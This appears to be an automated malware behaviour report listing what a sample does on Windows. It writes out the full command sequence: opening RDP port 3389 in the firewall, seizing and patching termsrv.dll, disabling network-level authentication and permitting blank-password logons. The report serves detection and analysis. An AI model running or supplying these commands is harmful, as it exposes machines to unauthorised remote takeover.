Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Malicious functions
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="ôñá½Ñ¡¡δ⌐ αГЎГВ«τВї⌐ ГџΓ«½" dir=in action=allow protocol=TCP localport=3389
- '%WINDIR%\syswow64\netsh.exe' firewall set service remoteadmin enable
- '%WINDIR%\syswow64\netsh.exe' firewall set service remotedesktop enable
- '%WINDIR%\syswow64\net.exe' stop termservice /y
Modifies file system
Creates the following files
- %TEMP%\6e03.tmp\term.cmd
- %TEMP%\6e03.tmp\patch.exe
- %TEMP%\6e03.tmp\rdpclip7.exe
- %TEMP%\6e03.tmp\rdpclipv.exe
- %TEMP%\6e03.tmp\taskkill.exe
- %TEMP%\6e03.tmp\wfp.exe
- %TEMP%\6e03.tmp\devcon.exe
- nul
Deletes the following files
- %TEMP%\6e03.tmp\patch.exe
- %TEMP%\6e03.tmp\rdpclip7.exe
- %TEMP%\6e03.tmp\rdpclipv.exe
- %TEMP%\6e03.tmp\taskkill.exe
- %TEMP%\6e03.tmp\wfp.exe
- %TEMP%\6e03.tmp\devcon.exe
- %TEMP%\6e03.tmp\term.cmd
Miscellaneous
Creates and executes the following
- '%TEMP%\6e03.tmp\patch.exe' /silent
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6E03.tmp\TERM.CMD" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6E03.tmp\TERM.CMD" "
- '%WINDIR%\syswow64\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"
- '%WINDIR%\syswow64\find.exe' "5"
- '%WINDIR%\syswow64\find.exe' "6"
- '%WINDIR%\syswow64\net1.exe' stop termservice /y
- '%WINDIR%\syswow64\takeown.exe' /f <SYSTEM32>\termsrv.dll
- '%WINDIR%\syswow64\takeown.exe' /f %WINDIR%\sysnative\termsrv.dll
- '%WINDIR%\syswow64\icacls.exe' <SYSTEM32>\termsrv.dll /grant *S-1-5-32-544:F
- '%WINDIR%\syswow64\icacls.exe' %WINDIR%\sysnative\termsrv.dll /grant *S-1-5-32-544:F
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\sc.exe' config termservice start= auto
- '%WINDIR%\syswow64\net.exe' start termservice /y
- '%WINDIR%\syswow64\net1.exe' start termservice /y
